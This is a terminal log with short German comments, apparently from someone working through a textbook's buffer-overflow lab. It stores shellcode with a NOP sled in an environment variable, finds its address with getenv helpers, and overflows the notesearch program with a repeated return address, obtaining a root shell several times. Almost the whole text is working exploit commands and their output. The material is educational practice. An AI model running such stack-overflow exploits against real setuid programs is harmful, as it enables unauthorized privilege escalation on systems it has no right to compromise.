root@toshiba:/home/tomovic/hack# gcc -g -fno-stack-protector -z execstack -o getenv_example getenv_example.c
root@toshiba:/home/tomovic/hack# export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
root@toshiba:/home/tomovic/hack# echo $SHELLCODE
1 1 1ə ̀j
XQh//shh/bin Q S ̀
root@toshiba:/home/tomovic/hack# ./getenv_example SHELLCODE
SHELLCODE is at 0xbffff811
root@toshiba:/home/tomovic/hack# ./notesearch $(perl -e 'print "\x11\xf8\xff\xbf"x40')
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
# ls
a.out dissembler.c getenvaddr.c overflow_example socket_reuse_restore
addr_struct.c drop_privs.c hacking-network.h overflow_example.c socket_reuse_restore.s
addressof.c dtors_sample.c hacking.h pcap_sniff.c
# exit
PS: Arbeitet mit dem Shellcode Adresse von eurem System.
root@toshiba:/home/tomovic/hack# gcc -g -fno-stack-protector -z execstack -o getenvaddr getenvaddr.c
root@toshiba:/home/tomovic/hack# export SLEDLESS=$(cat shellcode.bin)
root@toshiba:/home/tomovic/hack#
root@toshiba:/home/tomovic/hack#
root@toshiba:/home/tomovic/hack#
root@toshiba:/home/tomovic/hack# ./getenv_example SLEDLESS
SLEDLESS is at 0xbfffff6d
root@toshiba:/home/tomovic/hack# ./notesearch $(perl -e 'print "\x6d\xff\xff\xbf"x40')
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
# ls
a.out dissembler.c getenvaddr notetaker.c simplenote.c
addr_struct.c drop_privs.c getenvaddr.c overflow_example
# exit
Nach dem Buch solltet ihr keine Shell bekommen, das ist ein Vorführeffekt vom Buch.
Der nächsten Schritt zeigt, wie schwer es ist, die Adresse herauszufinden von eurem Shellcode.
root@toshiba:/home/tomovic/hack# cp getenv_example a
root@toshiba:/home/tomovic/hack# ./a SLEDLESS
SLEDLESS is at 0xbfffff87
root@toshiba:/home/tomovic/hack# cp getenv_example bb
root@toshiba:/home/tomovic/hack# ./bb SLEDLESS
SLEDLESS is at 0xbfffff85
root@toshiba:/home/tomovic/hack# ./getenvaddr SLEDLESS ./notesearch
SLEDLESS will be at 0xbfffff75
root@toshiba:/home/tomovic/hack# ./notesearch $(perl -e 'print "\x75\xff\xff\xbf"x40')
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
# ls
a datatype_sizes.c getenv_example notesearch.c signal_example.c
a.out decode_sniff.c getenv_example.c notetaker
#
Das war wieder ein Vorführeffekt vom Buch.
Tipp: Code aus libc-2.2.2 könnt ihr vergessen, das ist Vergangenheit !!!